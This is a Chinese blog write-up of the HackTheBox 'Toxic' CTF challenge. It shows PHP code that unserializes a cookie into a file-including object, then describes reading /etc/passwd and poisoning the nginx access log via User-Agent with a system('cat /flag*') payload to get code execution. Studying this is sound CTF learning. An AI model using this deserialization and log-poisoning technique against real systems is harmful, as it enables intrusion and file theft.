Toxic

Toxic

这是一个PHPLFI

代码量很小

index.php

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

PageModel.php

<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}

分析可知$_COOKIE['PHPSESSID']是一个可控输入存在利用的可能。

然后看hackthebox-Toxic writeup就好了。

这里文件包含

  1. 包含上传的shell

  2. 恶意代码写入已存在的文件并包含

其中第一种自然是需要上传或者创建并具有读写文件的权限。

而这题并没有这样的条件,所以思路来到第二个。

根据wp/etc/passwd发现有NGINX用户。所以想到可以查看一些NGINX的敏感文件,例如/var/log/nginx/access.logNGINX 的日志文件,通过文件包含查看,发现会记录User-Agent属性,而User-Agent是可以任意修改的,那么就可以将恶意代码通过User-Agent写入该日志文件

185.14.47.108 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 
185.14.47.108 - 200 "GET /static/css/production.css HTTP/1.1" "http://161.35.47.235:31456/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 
185.14.47.108 - 200 "GET /static/js/production.js HTTP/1.1" "http://161.35.47.235:31456/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 
185.14.47.108 - 200 "GET /static/images/ryan4.png HTTP/1.1" "http://161.35.47.235:31456/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 

接下来的内容不难理解按照上面的wp学习就好了。

不过其实不需要ls /查看flag

cat /flag*完全就可以

<?php system('cat /flag*');?>写入,然后包含一下就🆗了。

然后我试着写入<?php system("cat /flag*");?>发现不能执行。在HTB服务器询问得到的回答是可能存在一些字符过滤

所以这里又给了我一个启示,一些理应发生的而没有发生,其原因可能是存在防御行为而不是自身对代码理解不够。

所以再遇到这种情况要意识到可能是因为防御规则而导致的,因为你往往是无法得知具体的防御规则也就无法得解且得解后也毫无意义,因为这与你是否具有知识没有多大的关系。

第二天早上起来实验了一下,发现确实如此,因为双引号"被转义成了/x22

这回的User-Agent写为"1111111"

查看log文件

223.100.197.26 - 200 "GET / HTTP/1.1" "-" "\x221111111\x22" 

这就是双引号"失败的原因了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值